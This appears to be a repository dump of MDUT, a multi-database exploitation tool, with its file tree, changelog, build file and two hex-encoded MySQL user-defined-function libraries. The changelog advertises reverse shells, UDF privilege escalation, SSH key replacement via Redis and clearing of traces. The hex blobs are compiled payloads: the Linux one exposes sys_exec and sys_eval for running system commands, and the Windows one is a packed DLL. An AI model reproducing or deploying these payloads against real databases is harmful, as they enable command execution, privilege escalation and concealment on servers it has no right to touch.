├── .github └── ISSUE_TEMPLATE │ ├── bug.md │ ├── features.md │ ├── proposal.md │ └── question.md ├── .gitignore ├── CHANGELOG.md ├── LICENSE ├── MDAT-DEV ├── .gitignore ├── LICENSE ├── MDAT-Dev.iml ├── MDUT-Dev.iml ├── pom.xml └── src │ └── main │ ├── Driver │ ├── mssql.jar │ ├── mysql.jar │ ├── oracle.jar │ └── postgresql.jar │ ├── Plugins │ ├── Mssql │ │ └── clr.txt │ ├── Mysql │ │ ├── udf_linux32_hex.txt │ │ ├── udf_linux64_hex.txt │ │ ├── udf_win32_hex.txt │ │ ├── udf_win64_hex.txt │ │ └── udf_win_ex_hex.txt │ ├── Oracle │ │ ├── FileUtil.java │ │ └── ShellUtil.java │ ├── PostgreSql │ │ ├── 9.0_linux_64_hex.txt │ │ ├── 9.1_linux_64_hex.txt │ │ ├── 9.1_windows_32_hex.txt │ │ ├── 9.1_windows_64_hex.txt │ │ ├── 9.2_linux_64_hex.txt │ │ ├── 9.2_windows_32_hex.txt │ │ └── 9.2_windows_64_hex.txt │ ├── Redis │ │ ├── exp.so │ │ ├── exp.so.1 │ │ └── redis-cus-rogue.py │ └── Template │ │ ├── mssql_tunnel.aspx │ │ ├── mysql_tunnel.php │ │ ├── oracle_tunnel.jsp │ │ └── postgresql_tunnel.php │ ├── data.db │ ├── java │ ├── Controller │ │ ├── AddAndEditController.java │ │ ├── MainController.java │ │ ├── MssqlController.java │ │ ├── MysqlController.java │ │ ├── OracleController.java │ │ ├── PostgreSqlController.java │ │ ├── RedisController.java │ │ ├── SettingController.java │ │ ├── TunnelGenerationController.java │ │ └── UpdateController.java │ ├── Dao │ │ ├── ManagerDao.java │ │ ├── MssqlDao.java │ │ ├── MssqlHttpDao.java │ │ ├── MysqlDao.java │ │ ├── MysqlHttpDao.java │ │ ├── OracleDao.java │ │ ├── OracleHttpDao.java │ │ ├── PostgreSqlDao.java │ │ ├── PostgreSqlHttpDao.java │ │ └── RedisDao.java │ ├── Entity │ │ ├── ControllersFactory.java │ │ ├── DatabaseDateEntity.java │ │ └── FilesEntity.java │ ├── Util │ │ ├── Base64XOR.java │ │ ├── HttpUtil.java │ │ ├── MessageUtil.java │ │ ├── MssqlSqlUtil.java │ │ ├── MysqlSqlUtil.java │ │ ├── OKHttpUtil.java │ │ ├── OracleSqlUtil.java │ │ ├── PostgreSqlUtil.java │ │ ├── Utils.java │ │ └── YamlConfigs.java │ └── main.java │ └── resources │ ├── addAndEdit.fxml │ ├── images │ ├── disk.png │ ├── file.png │ ├── folder.png │ └── logo.png │ ├── main.fxml │ ├── mssqlViewTab.fxml │ ├── mysqlViewTab.fxml │ ├── oracleViewTab.fxml │ ├── postgreViewTab.fxml │ ├── redisViewTab.fxml │ ├── setting.fxml │ ├── tunnelGeneration.fxml │ └── update.fxml ├── MDUTSqlKit └── MDATKit.zip ├── README.md ├── README_ZH.md └── image └── 3521639573330_.pic.jpg /.github/ISSUE_TEMPLATE/bug.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug 3 | about: 漏洞报告 4 | title: '' 5 | labels: bug 6 | assignees: '' 7 | 8 | --- 9 | 10 | 19 | 20 | ## 系统环境 21 | - OS: [e.g. Win 10 x64 or MacOs] 22 | - JavaVersion [e.g. 22] 23 | 24 | ## 软件版本 25 | - Version [e.g. 22] 26 | 27 | ## Bug 详细描述 28 | 31 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/features.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Features 3 | about: 为这个项目提出一个想法 4 | title: '' 5 | labels: enhancement 6 | assignees: '' 7 | 8 | --- 9 | 10 | 18 | ### 新功能描述 19 | 22 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/proposal.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Proposal 3 | about: 其他建议 4 | title: '' 5 | labels: proposal 6 | assignees: '' 7 | 8 | --- 9 | 10 | 19 | 20 | ### 建议 21 | 24 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/question.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Question 3 | about: 问题提问 4 | title: '' 5 | labels: question 6 | assignees: '' 7 | 8 | --- 9 | 10 | 18 | 19 | ### 提问 20 | 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | **/.DS_Store 2 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # 更新日志 2 | > 有空会补补BUG、添添新功能。 3 | 4 | ## 2022/05/24 - `v2.1.1` 5 | ### 核心 6 | * 优化逻辑代码 7 | * 更改用户协议窗口 8 | * 重构 Http Tunnel 生成界面 9 | 10 | ### Mysql 11 | * 修正 Mysql 某些时候错误不弹窗 12 | 13 | ### Mssql 14 | * 将依赖包重新替换为 jTDS (Microsoft 官方驱动太多问题) 15 | 16 | ### Oracle 17 | * 增加oracle 单独上传功能 18 | 19 | ### Redis 20 | * 优化内部代码 21 | * 再次修复 Redis 测试连接错误信息返回连接成功 Bug 22 | * 增加反弹shell功能 (不推荐使用影响生产环境) 23 | * 修复 Redis 某些时候错误不弹窗 24 | * 增强 `替换 SSH 公钥` 功能 25 | 26 | 27 | ## 2022/05/24 - `v2.1.0` 28 | ### 核心 29 | * 增加 HTTP 隧道功能(Redis暂不支持) 30 | * 优化逻辑代码 31 | * 加长默认超时时间 32 | 33 | ### Mssql 34 | * 修复下载文件 Bug 35 | * 删除获取管理员密码功能 36 | * 增加一键恢复所有组件功能 37 | * 修正 CLR Hex String 38 | 39 | ### Oracle 40 | * 更改 JAVA Util 导入方式 41 | * 优化 JAVA ShellUtil 代码 42 | 43 | ### Redis 44 | * 添加 slave-read-only 功能 (Thx @xslzlccc) 45 | 46 | ## 2021/12/01 - `v2.0.8` 47 | ### 核心 48 | * 修复 Mssql 连接 2000 时候的语句兼容性问题 49 | * 设置程序默认编码 50 | * 删除敏感文件(详细说明情况请看文档里的公告一栏) 51 | 52 | ## 2021/09/14 - `v2.0.7` 53 | ### 核心 54 | * 优化内部代码 55 | * 修订设置窗口文字 56 | 57 | ### PostgreSql 58 | * 增加 Windows UDF 提权支持 59 | * 修订插件命名规则 60 | 61 | ### 其他 62 | * 文档更新 PostgreSql UDF 插件编写链接 (thx @huahua) 63 | * v2.0.6 之后不再强制要求先下载 v2.0 版,下载即用 64 | 65 | ## 2021/08/17 - `v2.0.6` 66 | ### 核心 67 | * 优化内部代码 68 | * 删除软件自启更新功能 69 | * 优化更新功能界面,增加在线下载更新功能(Github Api) 70 | > 最好用梯子配合 Proxifier 进行更新 71 | 72 | * 后续不再强制要求先下载 v2.0 版,下载即用 73 | 74 | ## 2021/06/21 - `v2.0.5` 75 | ### 核心 76 | * 更改「新增和设置」的界面尺寸 77 | * 新增设置里面 JDBCUrl 的超时参数 78 | 79 | ## 2021/06/21 - `v2.0.4` 80 | ### 核心 81 | * 修复 Mac 中文路径 Bug 82 | * 修复设置界面逻辑问题 83 | 84 | ### Redis 85 | * 修复 Redis 测试连接时候永远返回成功 Bug 86 | 87 | ## 2021/06/20 - `v2.0.3` 88 | ### 核心 89 | * 增加「软件启动弹出警告」关闭功能 90 | * 增加配置文件重设功能 91 | * 增加首页数据库列表多选删除功能 92 | 93 | ### Oracle 94 | * 修复 Oracle 命令执行超时 Bug (感谢 @yzddmr6) 95 | * 开启文件管理功能 (暂未测试 Linux 系统) 96 | 97 | ## 2021/05/12 - `v2.0.2` 98 | ### 核心 99 | * 修复 FileWriter 引起的 config.yaml 文件编码不一致导致读取乱码问题 100 | * 优化细节代码 101 | 102 | ## 2021/05/11 - `v2.0.1 ` 103 | ### 核心 104 | * 修复 Windows 下 file:// 协议导致的依赖包无法初始化问题 105 | * 项目代码重构,代码开源,界面优化 106 | * 完善 Redis 数据库利用 107 | * 修改多处 Bug,完善多处代码逻辑 108 | * 利用反射技术自定义加载数据库依赖包,基本兼容90%的数据库连接 109 | * 解决单线程 UI 卡死 Bug (参考冰蝎源码) 110 | ### Mysql 111 | * 修复中文乱码错误 112 | * Fix #4 113 | * 增加 Windows 反弹 Shell 功能 114 | 115 | ### Mssql 116 | * 优化文件管理 UI 逻辑交互 117 | 118 | ### Oracle 119 | * 简化初始化功能和命令执行操作 120 | * 优化命令执行功能内部逻辑 121 | ### PostgreSql 122 | * 优化 UI 逻辑交互 123 | 124 | ## 2021/04/22 - `v1.2.1` 125 | * MDAT 改名为 MDUT 126 | 127 | ## 2021/02/03 - `v1.2` 128 | ### Mssql 129 | * 完善文件管理功能 130 | * 增加获取管理员密码功能 131 | * 优化用户交互逻辑 132 | 133 | ## 2021/01/06 - `v1.1` 134 | * 增加更新检测功能 135 | * 增加关闭、关于按钮 136 | 137 | ### Oracle 138 | * 增加创建函数功能使用前需要先按照对应账号权限创建函数 139 | * 增加反弹 Shell 功能 140 | * 增加多种命令执行类型 141 | * 增加清除痕迹功能 142 | * 微调 UI 交互 143 | 144 | ### Mssql 145 | * 增加激活组件功能 146 | * 增加 SPOACREATE COM 组件的命令执行方式 147 | * 优化清理痕迹功能 148 | 149 | ## 2020/12/30 - `v1.0` 150 | * 发布第一版 MDAT 151 | -------------------------------------------------------------------------------- /MDAT-DEV/.gitignore: -------------------------------------------------------------------------------- 1 | /target/ 2 | **/.DS_Store 3 | /.idea/ 4 | src/main/resources/mssqlViewTab_bak.fxml 5 | -------------------------------------------------------------------------------- /MDAT-DEV/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 SafeGroceryStore 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /MDAT-DEV/MDAT-Dev.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /MDAT-DEV/MDUT-Dev.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /MDAT-DEV/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.mdut 8 | Multiple.Database.Utilization.Tools 9 | 2.1.1 10 | 11 | 12 | 13 | 14 | maven-assembly-plugin 15 | 16 | 17 | 18 | main 19 | 20 | 21 | 22 | jar-with-dependencies 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | org.xerial 31 | sqlite-jdbc 32 | 3.34.0 33 | 34 | 35 | org.json 36 | json 37 | 20201115 38 | 39 | 40 | 41 | org.yaml 42 | snakeyaml 43 | 1.28 44 | 45 | 46 | org.projectlombok 47 | lombok 48 | RELEASE 49 | compile 50 | 51 | 52 | 53 | org.pegdown 54 | pegdown 55 | 1.6.0 56 | 57 | 58 | 59 | redis.clients 60 | jedis 61 | 3.1.0 62 | 63 | 64 | 65 | commons-lang 66 | commons-lang 67 | 2.6 68 | 69 | 70 | 71 | 72 | com.oracle.ojdbc 73 | orai18n 74 | 19.3.0.0 75 | 76 | 77 | com.alibaba 78 | fastjson 79 | 1.2.83 80 | 81 | 82 | 83 | 84 | com.ejlchina 85 | okhttps 86 | 3.3.0 87 | 88 | 89 | 90 | commons-codec 91 | commons-codec 92 | 1.8 93 | 94 | 95 | 96 | io.jsonwebtoken 97 | jjwt 98 | 0.9.1 99 | 100 | 101 | 102 | 103 | 104 | 8 105 | 8 106 | 107 | 108 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Driver/mssql.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeGroceryStore/MDUT/d9af1b1c645cc309787a45ad833d645123855f91/MDAT-DEV/src/main/Driver/mssql.jar -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Driver/mysql.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeGroceryStore/MDUT/d9af1b1c645cc309787a45ad833d645123855f91/MDAT-DEV/src/main/Driver/mysql.jar -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Driver/oracle.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeGroceryStore/MDUT/d9af1b1c645cc309787a45ad833d645123855f91/MDAT-DEV/src/main/Driver/oracle.jar -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Driver/postgresql.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeGroceryStore/MDUT/d9af1b1c645cc309787a45ad833d645123855f91/MDAT-DEV/src/main/Driver/postgresql.jar -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Mysql/udf_linux32_hex.txt: -------------------------------------------------------------------------------- 1 | 0x7F454C4601010100000000000000000003000300010000007009000034000000581200000000000034002000040028001900180001000000000000000000000000000000F80E0000F80E00000500000000100000010000000010000000100000001000000801000010010000060000000010000002000000141000001410000014100000D0000000D0000000060000000400000051E5746400000000000000000000000000000000000000000600000004000000250000002A0000001400000008000000270000001D0000000000000000000000030000000000000011000000000000000A0000002900000012000000200000000000000000000000260000000C0000002100000017000000230000000D000000000000000E0000001C000000150000000000000006000000000000000000000010000000220000000F0000002400000019000000180000000000000000000000000000000000000000000000000000001A0000000200000013000000050000000000000000000000000000000000000000000000000000001F00000001000000280000000000000000000000000000000000000000000000070000002500000016000000000000000B00000000000000000000000000000000000000000000001E0000001B0000000000000000000000090000000000000000000000040000000000000011000000130000000400000007000000010804409019C7C9BDA4080390046083130000001500000016000000180000001A0000001C0000001F00000021000000000000002200000000000000230000002400000026000000280000002900000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE1200000000000000000000000000000000E7000000000000008D00000012000000C2000000000000005C00000012000000BA00000000000000E7040000120000000100000000000000000000002000000025000000000000000000000020000000ED000000000000007E02000012000000AB01000000000000150100001200000079010000000000007D00000012000000C700000000000000C600000012000000F50000000000000071010000120000009E01000000000000FB00000012000000CF00000000000000700000001200000010010000000000002500000012000000E0000000000000008901000012000000B500000000000000A80200001200000016000000000000000B0100002200000088010000000000007400000012000000FB00000000000000230000001200000080010000040D00006100000012000B00750000003B0A00000500000012000B0010000000F80D00000000000012000C003F010000A10C00002500000012000B001F010000100900000000000012000900C301000008110000000000001000F1FF96000000470A00000500000012000B0070010000EE0C00001600000012000B00CF01000010110000000000001000F1FF56000000310A00000500000012000B00020100009C0B00003000000012000B00A30100007D0D00003E00000012000B00390000002C0A00000500000012000B00320100006B0C00003600000012000B00BC01000008110000000000001000F1FF65000000360A00000500000012000B0025010000FC0B00006F00000012000B0085000000400A00000700000012000B0017010000CC0B00003000000012000B0055010000C60C00002800000012000B00A90000004C0A00008800000012000B008F010000650D00001800000012000B00D7000000D40A0000C800000012000B00005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E312E3300474C4942435F322E3000474C4942435F322E310000000200030003000000000003000300030003000300030003000300030003000400030002000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000300B20100001000000000000000731F690900000400D4010000100000001069690D00000300E0010000100000001169690D00000200EA01000000000000040B000008000000B70B000008000000E70B000008000000110C000008000000220C000008000000550C0000080000008E0C000008000000AC0C000008000000D90C00000800000004110000080000006B0A0000020F00007C0A000002030000960A000002020000AD0A000002090000430B000002090000BC0A0000020C0000E40A0000020E0000F30A0000020E00003F0C0000020E00000E0B000002010000310B000002060000560B0000020A0000680B000002120000BF0B0000020D0000EF0B0000020D00005B0C0000020D0000960C0000020D0000B20C0000020D0000E10C0000020D0000FD0C000002080000580D000002110000770D0000020B00008E0D000002070000E410000006040000E810000006050000EC10000006100000FC1000000704000000110000071000005589E55383EC04E8000000005B81C3D40700008B93F4FFFFFF85D27405E81E000000E8B9000000E884040000585BC9C3FFB304000000FFA30800000000000000FFA30C0000006800000000E9E0FFFFFFFFA3100000006808000000E9D0FFFFFF5589E55653E8AD00000081C37607000083EC1080BB1800000000755D8B83FCFFFFFF85C0740E8B8314000000890424E8BCFFFFFF8B8B1C0000008D831CFFFFFF8D9318FFFFFF29D0C1F8028D70FF39F173208DB6000000008D410189831C000000FF948318FFFFFF8B8B1C00000039F172E6C683180000000183C4105B5E5DC35589E553E82E00000081C3F706000083EC048B9320FFFFFF85D274158B93F8FFFFFF85D2740B8D8320FFFFFF890424FFD283C4045B5DC38B1C24C3905589E55DC35589E55DC35589E55DC35589E55DC35531C089E55DC35589E55DC35589E557565383EC0CFC83C9FF8B750C8B46088B3831C0F2AEF7D18D59FFE8FCFFFFFF83F8007C53753F83EC0C6A1EE8FCFFFFFF5F596A006A00486A218D1418F7D06A0721D0506A00E8FCFFFFFF83C42083F8FF89C7742351538B4608FF3057E8FCFFFFFFFFD7EB0B526A016A0050E8FCFFFFFF31C083C410EB05B8010000008D65F45B5E5F5DC35589E557565383EC18FC6800040000E8FCFFFFFFC70424010000008945E8E8FCFFFFFFC6000089C68B450C595B31DB68840E00008B4008FF30E8FCFFFFFF8945ECEB338B7DE831C083C9FFF2AE5252F7D18D79FF8D043B50568945F0E8FCFFFFFF83C40C57FF75E889C68D041850E8FCFFFFFF8B5DF083C40CFF75EC6A04FF75E8E8FCFFFFFF83C41085C075B683EC0CFF75ECE8FCFFFFFF83C410803E0075088B4518C60001EB16C6441EFF0031C083C9FF89F7F2AE8B4514F7D14989088D65F489F05B5E5F5DC35589E583EC088B450C833801750A8B400431D28338007414505068140E0000FF7510E8FCFFFFFFB20183C41088D0C9C35589E583EC088B450C833801750A8B400431D28338007414505068140E0000FF7510E8FCFFFFFFB20183C41088D0C9C35589E55383EC048B550C8B5D10833A0274095050683F0E0000EB428B420483380074095050685E0E0000EB318B520C83EC0CC74004000000008B0283C00203420450E8FCFFFFFF8B550883C41089420C31D285C07512505068860E000053E8FCFFFFFFB20183C41088D08B5DFCC9C35589E583EC088B450C83380175128B4004833800750A8B4508C6000131C0EB14505068140E0000FF7510E8FCFFFFFFB00183C410C9C35589E55383EC0C8B5D1068A00E000053E8FCFFFFFF8B4514C7001E00000089D88B5DFCC9C35531D289E583EC088B450C8338007414525268BF0E0000FF7510E8FCFFFFFFB20183C41088D0C9C35589E583EC148B450C8B4008FF30E8FCFFFFFFC999C35589E557565383EC10FC8B550C8B45088B580C8B420C89DF8B088D440B018945E88B42088B30F3A48B420C8B00C60403008B42088B4A0C8B7DE88B70048B4904F3A48B420C8B55E88B4004C60402006A015253E8FCFFFFFF8D65F45B5E5F5D99C35589E58B45088B400C85C074098945085DE9FCFFFFFF5DC35589E55783EC10FC8B450C8B4008FF30E8FCFFFFFF83C41085C089C275088B4518C60001EB1131C083C9FF89D7F2AE8B4514F7D149890889D08B7DFCC9C390909090905589E55653E85DFCFFFF81C3260300008B8310FFFFFF83F8FF74198DB310FFFFFF8DB4260000000083EE04FFD08B0683F8FF75F45B5E5DC35589E55383EC04E8000000005B81C3EC020000E860FBFFFF595BC9C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720045787065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF00000000FFFFFFFF000000000000000001000000B20100000C000000100900000D000000F80D000004000000B4000000F5FEFF6FF8010000050000005805000006000000B80200000A000000F40100000B0000001000000003000000F010000002000000100000001400000011000000170000000009000011000000E0070000120000002001000013000000080000001600000000000000FEFFFF6FA0070000FFFFFF6F01000000F0FFFF6F4C070000FAFFFF6F0A00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000141000000000000000000000560900006609000004110000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C2E64796E002E72656C2E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000B4000000B400000044010000030000000000000004000000040000000B000000F6FFFF6F02000000F8010000F8010000C000000003000000000000000400000004000000150000000B00000002000000B8020000B8020000A0020000040000000100000004000000100000001D00000003000000020000005805000058050000F40100000000000000000000010000000000000025000000FFFFFF6F020000004C0700004C070000540000000300000000000000020000000200000032000000FEFFFF6F02000000A0070000A00700004000000004000000010000000400000000000000410000000900000002000000E0070000E007000020010000030000000000000004000000080000004A0000000900000002000000000900000009000010000000030000000A0000000400000008000000530000000100000006000000100900001009000030000000000000000000000004000000000000004E000000010000000600000040090000400900003000000000000000000000000400000004000000590000000100000006000000700900007009000088040000000000000000000010000000000000005F0000000100000006000000F80D0000F80D00001C00000000000000000000000400000000000000650000000100000032000000140E0000140E0000DD000000000000000000000001000000010000006D0000000100000002000000F40E0000F40E00000400000000000000000000000400000000000000770000000100000003000000001000000010000008000000000000000000000004000000000000007E000000010000000300000008100000081000000800000000000000000000000400000000000000850000000100000003000000101000001010000004000000000000000000000004000000000000008A00000006000000030000001410000014100000D000000004000000000000000400000008000000930000000100000003000000E4100000E41000000C00000000000000000000000400000004000000980000000100000003000000F0100000F01000001400000000000000000000000400000004000000A1000000010000000300000004110000041100000400000000000000000000000400000000000000A7000000080000000300000008110000081100000800000000000000000000000400000000000000AC000000010000000000000000000000081100009B0000000000000000000000010000000000000001000000030000000000000000000000A3110000B500000000000000000000000100000000000000 -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Mysql/udf_win32_hex.txt: -------------------------------------------------------------------------------- 1 | 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E830A2615830926148325261583005E9C8308261583005E878308261583005E8483082615835269636809261583000000000000000000000000000000000000000000000000504500004C0103004AFE9F5A0000000000000000E00002210B010900001000000010000000600000607C0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007C83000008020000B4820000C800000000800000B402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002C7E00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000E0555058310000000000100000007000000010000000040000000000000000000000000000400000E02E7273726300000000100000008000000006000000140000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D090208B92BCF11B11CEEA24F550000560C000000220000260000A8FFFFFFFF8B4C240833C03901741656578B7C24146A0C59BE000010DCF3A566A55FB0015E5DFB77FBC38B44240C1A6A071611108BF8183218FF63DB6F1CA45FC7011E1200210883380175128B40040DF6776F0700750A1004C6000132C0C3530ABF1DF68D3C3053A454082D08FF30FF15FFF6EE776C885985C075085614C601011BC8568D71018A11FD6FDFFE4184D275F98B54142BCE890A32558BEC8B4D0C833902B7D860BF5374148B7D10915C5453EB4CBF9DBDDF8B417D740F1B707C1BEBE5836004DBB1FFB7001A0C8B48048B008D4401025072A0594C08DFC8D7B5891678113006A44CEB6C57BEB7B2B85F5E5DA30421740833DBB63FF6A8591353568B742410D878534602DB85DB5BB6460851C78D5C4257E8240B75EEEEBFE01400C604070008FF70041E0553B1DB1B921A22C418535720030054090F09B7086A995B0F98599954CF2D343713B8F4540B1EDEB60D818403552251519D35DFFED6FEDF576800F762D66A018945FC068BF08B4560DD7FF70CC606004533FF595939387471683CC071C6FEDFDA9C12260C3BC7745B506A04FF75FC149073E1EDD7A9FD48533AFC8D48911040B963DBFF2BC18BD88D043B505630F8268C5330D8AD8DBD5F03FE570E940DE57DF8463FE6364C2066BA5B1810A4803E0059169EB0FF741A8BC6C64437FF00594D1489C906987BEBD86F183E5F205EC9C3EED7B235DCBAF37D574708C45030087BDBDACDC9C26A4078C710548D4601B9E07E614251724F0856FF31CF6BAFDD9DB694C66AFF8DC32082F63A58B0B6030D092C23005F7CC36E57036C6A081D1290AC0AA88365FC2F6C2F2C2D4592D0EB071B408F65E8C70BBFD66E42FEFF000D1FEDC25E3BFFDB17B60D08209A02F3C3E90806F58BFF56688000002D8C6D675880985608845AA3BDE0FEBB062358045485F675054DAA83260076FBB7DB4508C36F08ED09ACC704240607FF0B4C113637598D71FFCF9C0BBF77DFC9750E39056B107E3CFF7310830B01FBEEC6BB8B0910548B098F57890A23480F85D47D618CBBAD641718068B79040838071B76EDEEBB1E50EB184AA705B8E61768B0B030D8E803A83C0957C1D6BBAEB5D6A1E7E9E2573CA12F4C6A6FF777C3025EFD096A1FEE76EB3CAA10C80475ED7BEFC0C7051F281A70E027071BDFF79D5CB520BC04B81B6A5635B952EB782B7339B2E3696FF7DEFD7340393D155C741C68062809AC43DB6B85850D9E1034252316FFE666F862F154B201DC0801592CC2B1A1DB78049DDFDBF62413D90FD4FC83F80266B16F6CB0D2595BFFA0584B77783BB5783106350F8487C71996EE4CD3543BF81810897D82EFC796BE35FAC87251833F8AF36A7C398587B4F10774E9FFC8D60F7C89C5DB9BB5D955F85615441B474DED5BE38EF88A394D1003D00874B48909437AA36D020C1AD3F8EBA71C3162CC5A64442E386161FB0A58064C32FC19503F1BDF720443375BC9C20CC710FB02231FB2288B2EF28B5D081CAE0FDB9B54E433C95CFC7D2008016C2DC6C23BF15A393A4417E4D61BFE7FAFAE3BF0740583FE02752E1910D03BC1E7166EB8ED57565FD03B5EE40003937B703B67115A039614168012376C7D270A8227FEA0246420575062B30D661327002F527F8DF61AD2061153F76A037543B067BB614F34032168742E2C0D2C3CEC257FEB1B71EC5A09706A7C6FAAE05051597C64825D900EADF62FFA8A19066B8F91B6C72AE490C396EC1640E134A9FF3B246ABB41C1F17926547DBC550C0D381E33BC05BC595D382281EC2832F7869F365F212043211C895E2118891D05F78EC243143C21A2AA210C668C186C5FFBDA3806252C0620080605DD2DCDD20425002D7FFC9C8F7AB6B1F6143095562407042831D6FEDB7F0807348B85E0FCA0AA701DDBB5B395011C1920241318092B18476A565F201CB360C32C9F7B8985D8320A04DC03B557E01B243468DEDFD1F7D8D360CE2879D40A2C833D208DBDC3DA00F923685B1B300BDFAF67F